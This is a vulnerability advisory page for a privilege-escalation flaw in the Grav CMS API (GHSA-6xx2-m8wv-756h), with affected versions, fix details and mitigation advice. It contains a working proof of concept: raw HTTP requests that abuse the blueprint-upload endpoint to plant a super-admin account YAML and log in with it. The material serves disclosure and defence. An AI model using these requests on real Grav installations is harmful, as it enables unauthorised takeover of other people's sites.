NIST deprecates RSA-2048 from 2030. Find every one of them before attackers do.
🐘 Packagist
Not in CISA KEV

Low-privileged Grav API users can create super-admin accounts via blueprint-uploadGHSA-6xx2-m8wv-756h

Fix: getgrav/grav-plugin-api@97fc028

GHSA-6xx2-m8wv-756h is a Improper Privilege Management vulnerability in getgrav/grav. A fix is available for getgrav/grav — see the affected versions and patch details below.

Also known asCVE-2026-42844
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Nov 10, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for GHSA-6xx2-m8wv-756h.

EPSS Exploitation Probability

via FIRST.org ↗
0.3%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs27th percentile — riskier than 27% of all scored CVEsHighest risk
0.00%0.33%0.65%0.98%0.0%0.3%Jun 26Sep 26Nov 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

Real-World Exposure

1 pkg affected
🐘getgrav/grav

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.

Description

Summary

In Grav 2.0.0-beta.2, a low-privileged authenticated API user with api.media.write can abuse /api/v1/blueprint-upload to write an arbitrary YAML file into user/accounts/, then log in as the newly created account with api.super privileges.

This results in full administrative compromise of the Grav API.

Details

The vulnerability is located in the API plugin's blueprint upload flow:

  • user/plugins/api/classes/Api/ApiRouter.php:261
  • user/plugins/api/classes/Api/Controllers/BlueprintUploadController.php:32-45
  • user/plugins/api/classes/Api/Controllers/BlueprintUploadController.php:102-114
  • user/plugins/api/classes/Api/Controllers/BlueprintUploadController.php:271-308
  • user/plugins/api/classes/Api/Controllers/BlueprintUploadController.php:407-417
  • user/plugins/api/classes/Api/Controllers/AuthController.php:41-55

The issue exists because /api/v1/blueprint-upload accepts caller-controlled destination and scope values and uses them to resolve the final filesystem write target.

When the request uses:

  • destination=self@:
  • scope=users/anything

The server resolves the write target to the shared account directory:

user/accounts/

The upload handler then writes the supplied file directly into that directory and does not block YAML account files. Because Grav accepts account YAML files and supports a plaintext password: field on first login, an attacker can create a fully functional administrator account with api.super.

The required attacker privilege is low:

access:
  api:
    access: true
    media:
      write: true

PoC

Step 1: Authenticate as the low-privileged API user

POST /api/v1/auth/token HTTP/1.1
Host: 127.0.0.1:8123
Content-Type: application/json
Connection: close

{"username":"uploader","password":"Upload123A"}

Extract:

UPLOADER_TOKEN = <access_token from response>

Attachment:

<img width="1480" height="825" alt="login-uploader" src="https://github.com/user-attachments/assets/5aeda840-4a37-4365-8e46-caec88066541" />

Step 2: Upload a malicious account YAML file

POST /api/v1/blueprint-upload HTTP/1.1
Host: 127.0.0.1:8123
X-API-Token: <UPLOADER_TOKEN>
Content-Type: multipart/form-data; boundary=----CodexBoundaryF01
Connection: close

------CodexBoundaryF01
Content-Disposition: form-data; name="destination"

self@:
------CodexBoundaryF01
Content-Disposition: form-data; name="scope"

users/anything
------CodexBoundaryF01
Content-Disposition: form-data; name="file"; filename="pwned.yaml"
Content-Type: text/yaml

email: [email protected]
fullname: attacker
title: Site Administrator
state: enabled
password: Passw0rd!123
access:
  site:
    login: true
  api:
    super: true
------CodexBoundaryF01--

Expected result:

{
  "data": [
    {
      "name": "pwned.yaml",
      "path": "user/accounts/pwned.yaml"
    }
  ]
}

Attachment:

<img width="1484" height="797" alt="upload" src="https://github.com/user-attachments/assets/0b24c03f-cac5-4b4d-840c-52ac0840969f" />

Step 3: Log in as the newly created account

POST /api/v1/auth/token HTTP/1.1
Host: 127.0.0.1:8123
Content-Type: application/json
Connection: close

{"username":"pwned","password":"Passw0rd!123"}

Expected result:

{
  "data": {
    "user": {
      "username": "pwned",
      "super_admin": true
    }
  }
}

Attachment:

<img width="1494" height="830" alt="pwned-login" src="https://github.com/user-attachments/assets/7a1ab7fc-d3fb-4077-9b61-09cd947241fe" />

Step 4: Verify privileged API access

GET /api/v1/system/info HTTP/1.1
Host: 127.0.0.1:8123
X-API-Token: <PWNED_TOKEN>
Connection: close

Expected result:

The request succeeds and returns system-level information.

Attachment:

<img width="1480" height="831" alt="system-info" src="https://github.com/user-attachments/assets/31677d61-3dbd-4ea6-9fbe-80799a628cc2" />

Impact

This is an authenticated vertical privilege-escalation vulnerability.

Any API user with basic media upload capability can escalate directly to a full API super administrator by planting a new account YAML file. Once api.super access is obtained, the attacker gains full control over the CMS management API and can:

  • modify content
  • alter configuration
  • manage users
  • install or update plugins/themes
  • access system-level administration features

In a real deployment, this level of control is sufficient for complete CMS compromise and may be chained into server-side code execution depending on enabled plugins, writable template paths, or package-management workflow.

This issue was reproduced locally:

  • the upload response returned user/accounts/pwned.yaml
  • logging in as pwned succeeded
  • the new account had super_admin = true
  • privileged endpoints such as /api/v1/system/info were accessible

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐘Packagistgetgrav/gravall versions2.0.0-beta.4composer require getgrav/grav:^2.0.0-beta.4

Affected Products

1 product · 1 configurations
Application
gravgetgrav
1 version
2.0.0

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for getgrav/grav, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update getgrav/grav to 2.0.0-beta.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-6xx2-m8wv-756h is resolved across your whole dependency graph.

  3. Workarounds

    Treat uploaded files as untrusted until proven otherwise: validate the actual content type rather than the supplied extension, store uploads outside the web root on a volume mounted without execute permission, and rename them to server-generated identifiers so an attacker cannot choose the path a request will later resolve.

Frequently Asked Questions

## Summary In Grav `2.0.0-beta.2`, a low-privileged authenticated API user with `api.media.write` can abuse `/api/v1/blueprint-upload` to write an arbitrary YAML file into `user/accounts/`, then log in as the newly created account with `api.super` privileges. This results in full administrative compromise of the Grav API. ## Details The vulnerability is located in the API plugin's blueprint upload flow: - `user/plugins/api/classes/Api/ApiRouter.php:261` - `user/plugins/api/classes/Api/Controllers/BlueprintUploadController.php:32-45` - `user/plugins/api/classes/Api/Controllers/BlueprintUpl
O3 Security · Impact-Aware SCA

Is GHSA-6xx2-m8wv-756h in your dependencies?

Find it across Packagist, including transitive dependencies.

Low-privileged Grav API users can create super-admin…